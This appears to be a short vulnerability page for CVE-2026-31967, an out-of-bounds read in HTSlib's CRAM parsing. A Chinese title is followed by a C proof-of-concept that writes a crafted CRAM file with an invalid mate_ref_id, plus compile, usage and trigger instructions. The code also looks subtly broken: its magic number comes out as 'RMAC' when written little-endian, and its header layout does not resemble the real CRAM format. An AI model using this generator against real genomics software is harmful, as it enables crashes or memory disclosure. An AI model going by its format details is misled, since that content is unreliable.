CVE-2026-31967 HTSlib CRAM文件处理内存越界读取漏洞

/* * CVE-2026-31967 PoC - Malicious CRAM file generator * This PoC creates a minimal CRAM file with invalid mate_ref_id to trigger OOB read * Compile: gcc -o poc poc.c -lhts * Usage: ./poc malicious.cram */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* CRAM container header structure */ typedef struct { uint32_t magic; /* 'CRAM' magic number */ uint32_t version; /* CRAM version (e.g., 3.1) */ uint32_t length; /* Container length */ uint32_t num_blocks; /* Number of blocks */ } cram_container_header_t; /* CRAM slice header with crafted mate_ref_id */ typedef struct { uint32_t method; /* Compression method */ uint32_t ref_id; /* Reference sequence ID */ int32_t mate_ref_id; /* VULNERABILITY: Invalid mate_ref_id (e.g., -1 or large value) */ uint32_t align_start; /* Alignment start position */ uint32_t align_end; /* Alignment end position */ uint32_t record_count; /* Number of records */ } cram_slice_header_t; int create_malicious_cram(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Failed to create output file\n"); return -1; } /* Write CRAM container header */ cram_container_header_t container = { .magic = 0x43414D52, /* 'CRAM' in little-endian */ .version = 0x00030001, /* Version 3.1 */ .length = sizeof(container) + sizeof(cram_slice_header_t), .num_blocks = 1 }; fwrite(&container, sizeof(container), 1, fp); /* Write slice header with MALICIOUS mate_ref_id */ cram_slice_header_t slice = { .method = 1, .ref_id = 0, .mate_ref_id = 0x7FFFFFFF, /* INVALID: Out of bounds value */ .align_start = 100, .align_end = 150, .record_count = 1 }; fwrite(&slice, sizeof(slice), 1, fp); fclose(fp); printf("Malicious CRAM file created: %s\n", filename); printf("Trigger: Load this file with htslib and convert to SAM format\n"); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <output.cram>\n", argv[0]); return 1; } return create_malicious_cram(argv[1]); }